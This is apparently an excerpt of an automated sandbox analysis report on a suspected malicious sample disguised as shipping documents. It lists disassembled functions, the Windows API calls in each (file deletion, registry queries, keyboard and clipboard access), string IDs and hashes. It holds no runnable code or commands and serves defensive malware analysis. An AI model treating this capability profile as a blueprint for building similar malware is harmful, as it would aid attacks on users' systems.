                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                • String ID:
                                                • API String ID: 3222323430-0
                                                • Opcode ID: 6aecf68fa8c09ef0929ca7cc5e104dbf6f0f644c5858f6f17cbca363cbecde34
                                                • Instruction ID: d01daa527b2bbf6cffb9ea07fa2e49e79181303afebb2afd36595a41c50df910
                                                • Opcode Fuzzy Hash: 6aecf68fa8c09ef0929ca7cc5e104dbf6f0f644c5858f6f17cbca363cbecde34
                                                • Instruction Fuzzy Hash: 03518D71200305ABD700AF64DD46F7E77A9EF94B12F440129FA8AD72D1EF60D8098B72
                                                Function 00D4F5FA Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00D4F62B
                                                • FindClose.KERNEL32(00000000), ref: 00D4F67F
                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00D4F6A4
                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00D4F6BB
                                                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00D4F6E2
                                                • __swprintf.LIBCMT ref: 00D4F72E
                                                • __swprintf.LIBCMT ref: 00D4F767
                                                • __swprintf.LIBCMT ref: 00D4F7BB
                                                  • Part of subcall function 00D2172B: __woutput_l.LIBCMT ref: 00D21784
                                                • __swprintf.LIBCMT ref: 00D4F809
                                                • __swprintf.LIBCMT ref: 00D4F858
                                                • __swprintf.LIBCMT ref: 00D4F8A7
                                                • __swprintf.LIBCMT ref: 00D4F8F6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l
                                                • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                • API String ID: 835046349-2428617273
                                                • Opcode ID: 9ba33c7abdef62584beffbbac253c03cece1463797f8e348cc1963fe0cef2575
                                                • Instruction ID: cec769e3baad38eeaaca97832d7df87aea4b06a8df87c08864ba0159c108bd65
                                                • Opcode Fuzzy Hash: 9ba33c7abdef62584beffbbac253c03cece1463797f8e348cc1963fe0cef2575
                                                • Instruction Fuzzy Hash: EDA100B2414344ABC310EBA4D895EAFB7EDEF98704F44491EB585C3192EB34D949CB72
                                                Function 00D51B2F Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00D51B50
                                                • _wcscmp.LIBCMT ref: 00D51B65
                                                • _wcscmp.LIBCMT ref: 00D51B7C
                                                • GetFileAttributesW.KERNEL32(?), ref: 00D51B8E
                                                • SetFileAttributesW.KERNEL32(?,?), ref: 00D51BA8
                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00D51BC0
                                                • FindClose.KERNEL32(00000000), ref: 00D51BCB
                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 00D51BE7
                                                • _wcscmp.LIBCMT ref: 00D51C0E
                                                • _wcscmp.LIBCMT ref: 00D51C25
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D51C37
                                                • SetCurrentDirectoryW.KERNEL32(00DB39FC), ref: 00D51C55
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00D51C5F
                                                • FindClose.KERNEL32(00000000), ref: 00D51C6C
                                                • FindClose.KERNEL32(00000000), ref: 00D51C7C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                • String ID: *.*
                                                • API String ID: 1803514871-438819550
                                                • Opcode ID: 1582f5f0aba4a0e793000f2efe57a95a19525eb141cd8087ebd24c7334fbeed4
                                                • Instruction ID: c0363d15716377ab2a6f343edfbbf11f1b8c5971861f7527afb727be8f9cc586
                                                • Opcode Fuzzy Hash: 1582f5f0aba4a0e793000f2efe57a95a19525eb141cd8087ebd24c7334fbeed4
                                                • Instruction Fuzzy Hash: F131C036900319AFCF10ABA0EC89BEE77ADAF06321F144195EC11E21D0EB71DA498B74
                                                Function 00D51C8A Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00D51CAB
                                                • _wcscmp.LIBCMT ref: 00D51CC0
                                                • _wcscmp.LIBCMT ref: 00D51CD7
                                                  • Part of subcall function 00D46BD4: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00D46BEF
                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00D51D06
                                                • FindClose.KERNEL32(00000000), ref: 00D51D11
                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 00D51D2D
                                                • _wcscmp.LIBCMT ref: 00D51D54
                                                • _wcscmp.LIBCMT ref: 00D51D6B
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D51D7D
                                                • SetCurrentDirectoryW.KERNEL32(00DB39FC), ref: 00D51D9B
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00D51DA5
                                                • FindClose.KERNEL32(00000000), ref: 00D51DB2
                                                • FindClose.KERNEL32(00000000), ref: 00D51DC2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                • String ID: *.*
                                                • API String ID: 1824444939-438819550
                                                • Opcode ID: 26973f585f4f6e1314016da59635084602b32bedff9f6642ce2b4bdcbaa69805
                                                • Instruction ID: 6ab4074ecb1e70f6150ba009d5781c998afef5f1d4c6bf9350a68c9104a128f2
                                                • Opcode Fuzzy Hash: 26973f585f4f6e1314016da59635084602b32bedff9f6642ce2b4bdcbaa69805
                                                • Instruction Fuzzy Hash: CD31C13A90061AAECF10ABA0EC49BEE77B9EF55325F144592EC11E21D0DB70DE498F74
                                                Function 00D07D19 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 962COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memset
                                                • String ID: Q\E$[$[:<:]]$[:>:]]$\$\$\$\b(?<=\w)$\b(?=\w)$]$^
                                                • API String ID: 2102423945-2023335898
                                                • Opcode ID: 4db639d2dc37cf9785dd5da019a63e00c11fa106d38f551e29f32ab734ef9256
                                                • Instruction ID: e4111f551d03643093470f7457334a6a4fe5d4d252202911c5f9b6e626c530c2
                                                • Opcode Fuzzy Hash: 4db639d2dc37cf9785dd5da019a63e00c11fa106d38f551e29f32ab734ef9256
                                                • Instruction Fuzzy Hash: 52828171D04219DBCB24CF98C8817ADBBB1FF44310F298169D89DAB391E774AD85DBA0
                                                Function 00D5091D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLocalTime.KERNEL32(?), ref: 00D509DF
                                                • SystemTimeToFileTime.KERNEL32(?,?), ref: 00D509EF
                                                • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00D509FB
                                                • __wsplitpath.LIBCMT ref: 00D50A59
                                                • _wcscat.LIBCMT ref: 00D50A71
                                                • _wcscat.LIBCMT ref: 00D50A83
                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00D50A98
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D50AAC
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D50ADE
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D50AFF
                                                • _wcscpy.LIBCMT ref: 00D50B0B
                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00D50B4A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
                                                • String ID: *.*
                                                • API String ID: 3566783562-438819550
                                                • Opcode ID: 3653da2670831e45189a132d521d59cf74d20028e9ebcfe17043e51f1df4832e
                                                • Instruction ID: 0fdb02b6c199910b1b5668c765776a087be064cca0802f34eee230a2beb79138
                                                • Opcode Fuzzy Hash: 3653da2670831e45189a132d521d59cf74d20028e9ebcfe17043e51f1df4832e
                                                • Instruction Fuzzy Hash: D06119725043059FDB10DF60C885AAEB7E9FF89315F08491AE989C7252DB31E949CFB2
                                                Function 00D3A66C Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D3ABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00D3ABD7
                                                  • Part of subcall function 00D3ABBB: GetLastError.KERNEL32(?,00D3A69F,?,?,?), ref: 00D3ABE1
                                                  • Part of subcall function 00D3ABBB: GetProcessHeap.KERNEL32(00000008,?,?,00D3A69F,?,?,?), ref: 00D3ABF0
                                                  • Part of subcall function 00D3ABBB: HeapAlloc.KERNEL32(00000000,?,00D3A69F,?,?,?), ref: 00D3ABF7
                                                  • Part of subcall function 00D3ABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00D3AC0E
                                                  • Part of subcall function 00D3AC56: GetProcessHeap.KERNEL32(00000008,00D3A6B5,00000000,00000000,?,00D3A6B5,?), ref: 00D3AC62
                                                  • Part of subcall function 00D3AC56: HeapAlloc.KERNEL32(00000000,?,00D3A6B5,?), ref: 00D3AC69
                                                  • Part of subcall function 00D3AC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00D3A6B5,?), ref: 00D3AC7A
                                                • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00D3A6D0
                                                • _memset.LIBCMT ref: 00D3A6E5
                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00D3A704
                                                • GetLengthSid.ADVAPI32(?), ref: 00D3A715
                                                • GetAce.ADVAPI32(?,00000000,?), ref: 00D3A752
                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00D3A76E
                                                • GetLengthSid.ADVAPI32(?), ref: 00D3A78B
                                                • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00D3A79A
                                                • HeapAlloc.KERNEL32(00000000), ref: 00D3A7A1
                                                • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00D3A7C2
                                                • CopySid.ADVAPI32(00000000), ref: 00D3A7C9
                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00D3A7FA
                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00D3A820
                                                • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00D3A834
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                • String ID:
                                                • API String ID: 3996160137-0
                                                • Opcode ID: e16d3158a971a3746d9098cc4ebc48810725dcd3d20ed0d1e123b4ae28f8c026
                                                • Instruction ID: 63587d7e04ba2dd2b0375542b1fb991c59daddb36b51e2af1a1701594c3d5f32
                                                • Opcode Fuzzy Hash: e16d3158a971a3746d9098cc4ebc48810725dcd3d20ed0d1e123b4ae28f8c026
                                                • Instruction Fuzzy Hash: B7510C71A0020AABDF149F99DC85EEEBBB9FF08300F148129E955EA291D7359A05CB71
                                                Function 00D06F07 Relevance: 18.4, Strings: 14, Instructions: 883COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
                                                • API String ID: 0-4052911093
                                                • Opcode ID: 1695e1e97f710848d90e9d80a9fc22ad58cea25e00972fa3ab9a944b05de678c
                                                • Instruction ID: fd4e1c5a04e9c562d1d7f5b484b5dcbb585e78e80a5b234289f339410202b6a9
                                                • Opcode Fuzzy Hash: 1695e1e97f710848d90e9d80a9fc22ad58cea25e00972fa3ab9a944b05de678c
                                                • Instruction Fuzzy Hash: D9727D71E04219DBDB24DF59C8807BEB7B5FF08710F14816AE859EB281EB709E41DBA4
                                                Function 00D463F9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 89fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D46EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00D45FA6,?), ref: 00D46ED8
                                                  • Part of subcall function 00D472CB: GetFileAttributesW.KERNEL32(?,00D46019), ref: 00D472CC
                                                • _wcscat.LIBCMT ref: 00D46441
                                                • __wsplitpath.LIBCMT ref: 00D4645F
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00D46474
                                                • _wcscpy.LIBCMT ref: 00D464A3
                                                • _wcscat.LIBCMT ref: 00D464B8
                                                • _wcscat.LIBCMT ref: 00D464CA
                                                • DeleteFileW.KERNEL32(?), ref: 00D464DA
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00D464EB
                                                • FindClose.KERNEL32(00000000), ref: 00D46506
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
                                                • String ID: \*.*
                                                • API String ID: 2643075503-1173974218
                                                • Opcode ID: 9d8dcf637a37d2437a36e21e340d8b8d1da15a9735feeacf26dfa932726374c0
                                                • Instruction ID: c7a73e91d9df39910571fbcdc7f27df25565e29f047fc14aeaa97c23f0f5972c
                                                • Opcode Fuzzy Hash: 9d8dcf637a37d2437a36e21e340d8b8d1da15a9735feeacf26dfa932726374c0
                                                • Instruction Fuzzy Hash: BE3152B240C3849BC721EBA48889ADBB7DCAF56314F44492AF5D9C3142EA35D5098777
                                                Function 00D631BC Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D63C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D62BB5,?,?), ref: 00D63C1D
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D6328E
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00D6332D
                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00D633C5
                                                • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00D63604
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00D63611
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                • String ID:
                                                • API String ID: 1240663315-0
                                                • Opcode ID: 67ceed5e849a5886e62c3074aa3ed61af3c26c3569a2b95a79f63280e1dfa2f9
                                                • Instruction ID: f31f6e69d3bb878c496fe3c176120df08cf07dcb15d496d210def590a0899205
                                                • Opcode Fuzzy Hash: 67ceed5e849a5886e62c3074aa3ed61af3c26c3569a2b95a79f63280e1dfa2f9
                                                • Instruction Fuzzy Hash: CBE15C71604200AFCB15DF29C995E6ABBE9FF88714F04856DF48ADB2A1DB30ED05CB61
                                                Function 00D42B37 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?), ref: 00D42B5F
                                                • GetAsyncKeyState.USER32(000000A0), ref: 00D42BE0
                                                • GetKeyState.USER32(000000A0), ref: 00D42BFB
                                                • GetAsyncKeyState.USER32(000000A1), ref: 00D42C15
                                                • GetKeyState.USER32(000000A1), ref: 00D42C2A
                                                • GetAsyncKeyState.USER32(00000011), ref: 00D42C42
                                                • GetKeyState.USER32(00000011), ref: 00D42C54
                                                • GetAsyncKeyState.USER32(00000012), ref: 00D42C6C
                                                • GetKeyState.USER32(00000012), ref: 00D42C7E
                                                • GetAsyncKeyState.USER32(0000005B), ref: 00D42C96
                                                • GetKeyState.USER32(0000005B), ref: 00D42CA8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: State$Async$Keyboard
                                                • String ID:
                                                • API String ID: 541375521-0
                                                • Opcode ID: 56faab1589721ed521e858727a0a212a4133f4c1512fe7ecb04e23443b549188
                                                • Instruction ID: d4baeb2b6232efd181db98b531f02897909d728174104fde91ea95b9cfcc5e9b
                                                • Opcode Fuzzy Hash: 56faab1589721ed521e858727a0a212a4133f4c1512fe7ecb04e23443b549188
                                                • Instruction Fuzzy Hash: 5741FA305047C96FFF309B6088443BABFA1AF11354F8C409AF5C6562C2DB9499C4C7B2
                                                Function 00D56D07 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                • String ID:
                                                • API String ID: 1737998785-0
                                                • Opcode ID: 17135f84c4ba3c7535af0e1b52b42272759aaa6dd1028c0d8754630c5dd07c6c
                                                • Instruction ID: 32f934dbfc59715ad986ae383719a5be31e1126720168c4d8c3014c0b92ee374
                                                • Opcode Fuzzy Hash: 17135f84c4ba3c7535af0e1b52b42272759aaa6dd1028c0d8754630c5dd07c6c
                                                • Instruction Fuzzy Hash: FA216831210218AFDB01AF64EC4AB6D77AAFF04711F04841AF94ADB2E1DB35E8018BB4
                                                Function 00D5C18C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D39ABF: CLSIDFromProgID.OLE32 ref: 00D39ADC
                                                  • Part of subcall function 00D39ABF: ProgIDFromCLSID.OLE32(?,00000000), ref: 00D39AF7
                                                  • Part of subcall function 00D39ABF: lstrcmpiW.KERNEL32(?,00000000), ref: 00D39B05
                                                  • Part of subcall function 00D39ABF: CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00D39B15
                                                • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00D5C235
                                                • _memset.LIBCMT ref: 00D5C242
                                                • _memset.LIBCMT ref: 00D5C360
                                                • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000001), ref: 00D5C38C
                                                • CoTaskMemFree.OLE32(?), ref: 00D5C397
                                                Strings
                                                • NULL Pointer assignment, xrefs: 00D5C3E5
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                • String ID: NULL Pointer assignment
                                                • API String ID: 1300414916-2785691316
                                                • Opcode ID: 88c857af6c038395d726241f7e2c2797b92971e00138bdf64e38dadf9c8047f5
                                                • Instruction ID: 94d5cff0d6cd0aa9d61e096849fd261896168473982256419aa2c0b41b367acd
                                                • Opcode Fuzzy Hash: 88c857af6c038395d726241f7e2c2797b92971e00138bdf64e38dadf9c8047f5
                                                • Instruction Fuzzy Hash: 7C91F771D10218AFDF10DF94D895EDEBBB9EF08710F10815AE919A7291DB70AA45CFB0
                                                Function 00D479D3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON
                                                Download Yara Rule
